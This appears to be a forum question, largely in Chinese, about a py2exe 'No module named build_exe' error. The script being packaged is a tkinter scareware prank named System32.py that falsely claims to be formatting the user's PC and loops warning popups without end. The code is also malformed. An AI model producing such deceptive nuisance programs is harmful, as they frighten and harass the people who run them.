我使用py2exe编写了一个简单的程序,我想将其转换为exe文件,但遇到一个错误:
ModuleNotFoundError: No module named 'build_exe' when I run the program! Can anyone help me t fix it?
我的代码:
# Displays warning messages in loop
from tkinter import * from tkinter import messagebox from distutils.core import setup import py2exe
setup(console=["System32.py"], options={'py2exe': {'packages': ['tkinter', 'messagebox', 'distutils']}})
# to exe
root = Tk() root.title("System32") root.config(bg="Red") root.wm_resizable(0, 0) root.geometry("4000x4000")
Label(root, text="Please wait... while formating your PC!", font="FixedSys 25", fg="Red", bg="Black").place(x=300, y=200) Label(root, text="Coded by: #AVD001", font="FixedSys 20", fg="Black", bg="Red").place(x=550, y=450)
while True:
messagebox.showwarning(title="#AVD001", message="Formating your pc...")
我希望程序能够成功运行,但显示错误!
ModuleNotFoundError: No module named 'build_exe'
请帮助我!感谢您提供有用的答案!